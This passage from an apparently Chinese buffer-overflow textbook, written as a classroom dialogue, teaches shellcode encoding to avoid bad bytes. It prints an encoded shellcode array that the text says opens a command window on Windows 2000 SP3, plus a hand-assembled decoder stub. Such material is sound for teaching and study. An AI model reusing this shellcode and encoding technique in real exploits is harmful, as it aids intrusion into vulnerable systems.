5.4.4 直接替换DOS窗口程序
“首先,我们编码。还是用Win2000中文版SP3的开DOS窗口程序。”老师说道,“编码程序为DirectExchageCMD.cpp(光盘有收录),执行效果如图5-11。”
“哦,我们把编码后的enShellCode直接粘贴下来就可以了。有了自动化的打印程序,好方便啊!”大家都感叹道。
“嗯,这样得到的enShellCode为:”
enShellCode [] =
"\xc2\x30\x4d\x7b\xa4\x57\xc7\xc7\xc7\x51"
"\xd2\x63\xda\x51\xd2\x62\xc4\x51\xd2\x61"
"\xc1\x51\xd2\x60\xd4\x51\xd2\x6f\xc5\x51"
"\xd2\x6e\xc3\x51\xd2\x6d\xb9\x51\xd2\x6c"
"\xd3\x51\xd2\x6b\xdb\x51\xd2\x6a\xdb\x2d"
"\xf3\x30\x39\x71\xe0\xc5\x30\x4b\xd2\x63"
"\xc7\x68\xc2\x67\xc2\x30\x4d\x7b\x30\x45"
"\x7b\xbb\x30\x60\xf4\xf8\xfa\xfa\x30\x4f"
"\xd2\x63\x30\x60\xf6\xf9\xf3\xb9\x30\x4f"
"\xd2\x6f\x30\x60\xf4\xf8\xfa\xb5\x30\x4f"
"\xd2\x6b\xa4\x45\x30\x50\xc2\x68\x30\x4b"
"\xd2\x63\xc7\x30\x60\x54\x38\x96\xef\x68"
"\x47";
“大家注意了,”老师提醒道,“比我们直接异或得到的enShellCode多了14个字节。”
“真的啊!”大家翻了下前面的笔记说道。
“这是因为有14个字节不合要求,编码时就会将其直接替换。大家可以看到,enShellCode里有14个‘\x30’这样的标志。”
“是啊!”同学们一下明白了,宇强说道:“‘\x30’后面才是真正的ShellCode变换来的啊!”
“是的。我们再看看decode吧!把exchangeDecode.cpp编译,进入调试状态,将汇编对应的机器码抄下来。这个方法讲过多次了,得到的decode代码如下:”
decode[] =
"\xEB\x1B\x5F\x57\x5E\x33\xC9\xB9\x01"
"\x01\x00\x00\xAC\x3C\x30\x74\x07\x34"
"\x97\xAA\xE2\xF6\xEB\x0A\xAC\x2C\x31"
"\xEB\xF4\xE8\xE0\xFF\xFF\xFF";
“我们再把decode和enShellCode合起来测试。构造得到over_exchange.cpp(光盘有收录),运行效果如图5-12,成功!”